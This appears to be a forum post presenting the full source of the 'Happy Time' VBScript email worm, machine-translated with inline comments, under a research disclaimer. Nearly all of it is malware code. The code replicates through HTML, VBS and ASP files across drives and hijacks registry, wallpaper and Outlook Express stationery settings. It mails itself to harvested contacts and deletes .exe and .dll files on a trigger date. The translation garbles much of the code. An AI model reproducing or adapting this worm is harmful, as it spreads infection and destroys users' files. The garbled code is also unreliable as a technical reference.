This post content is only used for research. Please see that people help others delete Windows's VBS scripting language, this language is
Major security loopholes! ! ! ! ! ! >
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
>
> Rem I am Sorry! Happy Time
> On Error ResMe Next NEXT
> MLOAD ---------------------- From MLOAD to sin
> SUB MLOAD ()
> On Error ResMe Next NEXT
> mpath = GRF ()
> Set os = createObject ("scripTlet.Typelib")
> Set oh = creteObject ("shell.application")
> ISHTML THEN ---------------------- If this program is a web page, it is in Outlook
> MURL = Lcase (Document.Location)
> IF mpath = "" ""
> Os.reset
> Os.path = "c: /help.htm" ---------------------- Establish Help.htm
> Os.doc = lhtml () ------------ Turn all source code
> Os.write () ---------------------- Store itself to Help.htm
> Html =
> Call Document.Body.insertadjacenthtml ("Afterbegin", IHTML)
> Else
> IF (Mpath, "Help.vbs") THEN
> setInterval "rt ()", 10000
> Else
> m = "hta"
> If lcase (m) = Right (MURL, LEN (M)) THEN
> ID = setTimeout ("MClose ()", 1) --------- Call MClose
> Main ---------------- Enter the main program
> Else
> Os.reset ()
> OS.Path = MPATH & "/" & "Help.hta" ------------ Establish a help.hta file
> Os.doc = lhtml ()> os.write ()
> Iv mpath, "Help.hta"
> END IF
> END IF
> END IF
> Else
> main
> END IF
> End Sub
> SUB Main () ---------------- Main Program
> On Error ResMe Next NEXT
> Set of = createObject ("scripting.filesystemObject")
> Set = creteObject ("scripting.dictionary")
> Od.Add "HTML", "1100"
> Od.Add "VBS", "0100"
> Od.Add "HTM", "1100"
> Od.Add "ASP", "0010"
> Ks = "HKEY_CURRENT_USER / Software /" ----------------- Write Registry
> DS = GRF ()
> Cs = GSF ()
> IF isvbs then
> IF of.fileexists ("c: /help.htm") THEN
> Of.deletefile ("c: /help.htm")
> END IF
> Key = CINT (Month) --------------- Note: Destruction Action
> If key = 13 Then --------------- If the sum of the month is equal to 13
> Od.removeall
> Od.Add "EXE", "0001" -------------- Delete .exe.dll file
> Od.Add "DLL", "0001"
> END IF
> Cn = rg (KS & "Help / Count") ------------ Modify the counter of the registry
> IF cn = "" ""
> CN = 1
> END IF
> RW Ks & "Help / Count", CN 1
> f1 = rg (KS & "Help / filename)
> f2 = fnext (of, OD, F1)
> fEXT = getext (of, OD, F2)
> RW Ks & "Help / FileName", F2
> If isdel (fEXT) THEN
> f3 = f2
> f2 = fnext (of, OD, F2)
> RW Ks & "Help / FileName", F2
> Of.deletefile F3
> Else
> If lcase (wscript.scriptfullname) <> lcase (f2) THEN> FW of, F2, FEXT
> END IF
> END IF
> IF (CIN) MOD 366) = 0 THEN
> IF (CINT (Second (Time) MOD 2) = 0 THEN
> Tsend
> Else
> adds = og
> MSEND (AddS)
> END IF
> END IF
> wp = rg ("HKEY_CURRENT_USER / Control Panel / Desktop / Wallpaper") -------- This is modified here to register wallpaper
> IF RG (KS & "Help / Wallpaper") <> wp or wp = "" ""
> IF wp = "" ""
> N1 = ""
> N3 = CS & "/Help.htm" -------- If the wallpaper is empty, set help.htm as wallpaper directly
> Else -------- Otherwise modify wallpaper files
> mp = of.getfile (wp) .parentfolder ------- Set file name and path name
> n1 = of.GetFileName (WP)
> N2 = of.getBaseName (WP)
> N3 = CS & "/" & n2 & ".htm"
> END IF
> Set pfc = of.createtextfile (n3, true)
> MT = SA ("1100")
> pfc.write "<" & "html> <" & "body bgcolor = '# 007f7f' background = '" & n1 & "> <" & "/ body> <" / html> "& MT
> pfc.close
> RW Ks & "Help / Wallpaper", N3
> RW "HKEY_CURRENT_USER / Control Panel / Desktop / Wallpaper", N3 -------- Modify Wallpaper
> END IF
> Else
> Set fc = of.createtetextfile (DS & "/ Help.vbs", True) ------- Create a VBS file here
> fc.write sa ("0100")
> fc.close
> bf = cs & "/untitled.htm" ------------ Modify Outlook Express letter paper files
> Set fc2 = of.createtextfile (bf, true)
> fc2.write lhtml
> fc2.close> OEID = RG ("HKEY_CURRENT_USER / IDentities / Default User ID") -------- is another registry
> OE = "HKEY_CURRENT_USER / IDENTIN /" & Oeid & "/ Software / Microsoft / Outlook Express / 5.0 / Mail"
> MSH = OE & "/ Message Send HTML"
> CUS = OE & "/ Compose Use stationry"
> SN = OE & "/ stationery" "
> RW MSH, 1 -------- Write Registry
> RW CUS, 1
> RW SN, BF
> Web = CS & "/ Web"
> Set gf = of.getfolder (web) .files
> Od.Add "HTT", "1100"
> For Each M in GF
> fEXT = getext (of, od, m)
> IF fext <> "" THEN
> Fw of, m, fext
> END IF
> Next
> END IF
> End Sub
> SUB MCLOSE () ----------------------- CLOSE process
> Document.write "<" & "Title> I am Sorry! Title" & ">"
> window.close
> End Sub
> SUB RT () --------------------- RT process, call help.vbs
> DIM MPATH
> On Error ResMe Next NEXT
> mpath = GRF ()
> IV MPATH, "Help.VBS"
> End Sub
> Function SA (N) ---------------------- SA function, return to virus text
> DIM VBSTEXT, M
> Vbstext = lvbs ()
> IF MID (N, 3, 1) = 1 THEN
> m = "<%" & vbstext & "%>"
> END IF
> IF MID (N, 2, 1) = 1 THEN
> m = vbstext ----------------
> END IF
> IF MID (N, 1, 1) = 1 THEN
> m = lscript (m)
> END IF
> SA = M & VBCRLF
> End function
> SUB FW (of, s, n) -------------- FW process, modify files and issue> DIM FC, FC2, M, MMAIL, MT
> On Error ResMe Next NEXT
> Set fc = of.opentextfile (s, 1)
> mt = fc.readall
> fc.close
> IF not sc (mt) THEN
> mmail = ml (MT)
> MT = SA (N)
> Set fc2 = of.opentextfile (s, 8)
> fc2.write MT
> fc2.close
> MSEND (MMAIL)
> END IF
> End Sub
> Function sc (s) ---------------- SC process, judgment is infected
> Mn = "Rem I am Sorry! Happy Time"
> IF INSTR (S, MN)> 0 THEN
> SC = TRUE
> Else
> Sc = false
> END IF
> End function
> Function Fnext (Of, OD, S) ------------------ FNEXT function
> DIM FPATH, FNAME, FEXT, T, GF
> On Error ResMe Next NEXT
> FNAME = ""
> T = false
> IF of.fileexists (s) THEN
> fpath = of.getfile (s) .parentFolder
> fname = s
> Elseif of.Folderexists (s) THEN
> fpath = s
> T = true
> Else
> fpath = DNEXT (of, "")
> END IF
> Do while true true
> Set gf = of.getfolder (fpat) .files
> For Each M in GF
> IF t then
> IF getExt (OD, M) <> "" "
> FNEXT = M
> EXIT FUNCTION
> END IF
> Elseif Lcase (M) = LCase (FNAME) or FNAME = "" "" "" "
> T = true
> END IF
> Next
> fpath = pnext (of, fpath)
> Loop
> End function
> Function PNext (of, s) ---------- PNEXT functions
> On Error ResMe Next NEXT
> DIM PPATH, NPATH, GP, PN, T, M
> T = false
> IF of.folderexists (s) THEN
> Set gp = of.getFolder (s) .subfolders
> pn = gp.count
> IF pn = 0 THEN> PPath = LCase (s)
> Npath = lcase (of.getParentFoldername (s))
> T = true
> Else
> Npath = lcase (s)
> END IF
> Do while not er
> For Each Pn in OF.GetFolder (npath). Subfolders
> IF t then
> IF ppath = lcase (pn) THEN
> T = false
> END IF
> Else
> PNEXT = LCase (PN)
> EXIT FUNCTION
> END IF
> Next
> T = true
> Ppath = lcase (npath)
> Npath = of.getparentFoldername (NPATH)
> IF of.getFolder (PPath) .ssrooTfolder then
> m = of.getdrivename (PPATH)
> PNEXT = DNEXT (OF, M)
> EXIT FUNCTION
> END IF
> Loop
> END IF
> End function
> Function DNEXT (OF, S) --------- DNEXT function
> DIM DC, N, D, T, M
> On Error ResMe Next NEXT
> T = false
> m = ""
> Set dc = of.drives
> For Each D in DC
> If D.driveType = 2 or D.driveType = 3 THEN
> IF t then
> DNEXT = D
> EXIT FUNCTION
> Else
> If lcase (s) = lcase (d) THEN
> T = true
> END IF
> IF m = "" "THEN
> m = d
> END IF
> END IF
> END IF
> Next
> DNEXT = M
> End function
> Function getExt (of, od, s) -------------- getExt function, get an extension
> DIM FEXT
> On Error ResMe Next NEXT
> fEXT = LCase (of.getextensionName (s))
> GetExt = od.Id.item (fEXT)
> End function
> SUB RW (K, V) ------------- RW process, write registry
> DIM R
> On Error ResMe Next NEXT
> Set r = creteObject ("wscript.shell")
> R.Regwrite K, V
> End Sub
> Function RG (V) -------------- RV Function, Read Registry> DIM R
> On Error ResMe Next NEXT
> Set r = creteObject ("wscript.shell")
> Rg = r.regread (v)
> End function
> Function isvbs () ------------- isvbs function
> Dim Errtest
> On Error ResMe Next NEXT
> Errtest = WScript.scriptfullname
> If Err THEN
> Isvbs = false
> Else
> Isvbs = true
> END IF
> End function
> Function ishtml () ------------- iSHTML function
> Dim Errtest
> On Error ResMe Next NEXT
> Errtest = Document.location
> If Er THEN
> IShtml = false
> Else
> ISHTML = TRUE
> END IF
> End function
> Function ismail (s) ------------- ismail function
> DIM M1, M2
> Ismail = false
> IF INSTR (S, VBCRLF) = 0 THEN
> m1 = INSTR (s, "@")
> m2 = INSTR (s, ".")
> IF m1 <> 0 and m1 > Ismail = TRUE > END IF > END IF > End function > Function LVBS () ------------- LVBS function, reading itself, self-copying key steps > DIM F, M, WS, OF > On Error ResMe Next NEXT > IF isvbs then > Set of = createObject ("scripting.filesystemObject") > Set f = of.opentextfile (wscript.scriptfullname, 1) > Lvbs = f.readall -------------- read from the VBS file into yourself > Else > For Each WS in Document.Scripts > If lcase (ws.language) = "vbscript" -------------- read from the HTML file into yourself > IF SC (WS.Text) THEN > Lvbs = ws.text > EXIT FUNCTION > END IF > END IF > Next > END IF > End function > Function IV (MPATH, MNAME) --------------- IV function, call help.vbs > DIM Shell > On Error ResMe Next NEXT > Set shell = creteObject ("shell.application") > Shell.namespace (mpath) .Items.Item (MNAME) .Invokeverb > If Er THEN > Iv = false > Else > Iv = true > END IF > End function > Function GRF () --------- GRF function, return to the shell path > DIM Shell, MPath > On Error ResMe Next NEXT > Set shell = creteObject ("shell.application") > mpath = "c: /" > For vech mshell in shell.namespace (mpath) .Items > IF mshell.isfolder dam > GRF = MSHELL.PATH > EXIT FUNCTION > END IF > Next > If Er THEN > GRF = "" > END IF > End function > Function GSF () --------------- GRF function > DIM OF, M > On Error ResMe Next NEXT > Set of = createObject ("scripting.filesystemObject") > m = of.getspecialfolder (0) > If Er THEN > Gsf = "c: /" > Else > Gsf = m > END IF > End function > Function lhtml () ----------------- lhtml function > Lhtml = "<" & "html" & "> > "<" & "Title> Help title" & "> <" & "/ head>" & vbcrlf & _ > "<" & "Body>" & lscript (lvbs ()) & vbrlf & _ > "<" & "/ Body> html" & ">" > End function > Function Lscript (s) ----------------- Lscript Function> Lscript = "<" Script Language = 'VBScript'> "& VBCRLF & _ > S & "<" / Script "&"> " > End function > Function SL (S1, S2, N) ------------------ S1 function > DIM L1, L2, L3, I > l1 = le (S1) > l2 = le (S2) > i = INSTR (S1, S2) > IF i> 0 THEN > L3 = i L2 - 1 > IF n = 0 THEN > SL = Left (S1, I - 1) > Elseif n = 1 THEN > SL = Right (S1, L1 - L3) > END IF > Else > SL = "" > END IF > End function > Function ML (s) --------------- m1 function > DIM S1, S3, S2, T, ADDS, M > S1 = s > S3 = "" "" " > adds = "" > S2 = S3 & "MAILTO" & ":" > T = true > Do While T > S1 = SL (S1, S2, 1) > IF S1 = "" "" > T = false > Else > M = SL (S1, S3, 0) > IF ismail (m) THEN > adds = adds & m & vbcrlf > END IF > END IF > Loop > Ml = split (adds, vbcrlf) > End function > Function Og () -------------- OG function > DIM I, N, M (), OM, OO > Set = creteObject ("Outlook.Application") > Set om = oo.getnamespace ("MAPI"). GetDefaultfolder (10) .Items > n = om.count > Redim m (n) > For i = 1 to n > M (i - 1) = om.item (i). Email1address > Next > Og = m > End function > Sub tsend () ---------------- Tsend process > DIM OD, MS, MM, A, M> set = creteObject ("scripting.dictionary") > MCONNECT MS, MM > Mm.fetchsorted = true > Mm.fetch > For i = 0 to mm.msgcount - 1 > Mm.msgindex = i > a = mm.msgorigaddress > IF Od.Item (a) = "" "" "" " > Od.Item (a) = mm.msgsubject > END IF > Next > For Each M in Od.keys > Mm.compose > Mm.msgsubject = "fw:" & od.Item (M) > Mm.recipaddress = m > Mm.attachmentpathname = GSF & "/untitled.htm" > Mm.send > Next > Ms.signoff > End Sub > Function MConnect (MS, MM) ------------------ MCONNECT functions > DIM U > On Error ResMe Next NEXT > Set ms = createObject ("msmapi.mapisession") > Set mm = creteObject ("msmapi.mapimsses") > U = rg ("HKEY_CURRENT_USER / SOFTWARE / Microsoft / Windows Messaging Subsystem / Profiles / DefaultProfile") > Ms.username = u > Ms.downloadmail = false > Ms.newsession = false > Ms.logonui = TRUE > Ms.signon > Mm.sessionID = ms.sessionID > End function > SUB MSEND (Address) ------------------- msend process > DIM MS, MM, I, A > MCONNECT MS, MM > i = 0 > Mm.compose > For Each A in Address > IF ismail (a) THEN > Mm.recipindex = i > Mm.recipaddress = a > i = i 1 > END IF > Next > Mm.msgsubject = "HELP" > Mm.attachmentpathname = GSF & "/untitled.htm" > Mm.send > Ms.signoff > End Sub > Function ER () -------------------- ER function > If Err.Number = 0 THEN> ER = false > Else > Err.clear > ER = True > END IF > End function > Function isdel (s) ------------------- Isdel function > IF MID (S, 4, 1) = 1 THEN > Isdel = true > Else > Isdel = false > END IF > End function > > > > script> > > -> >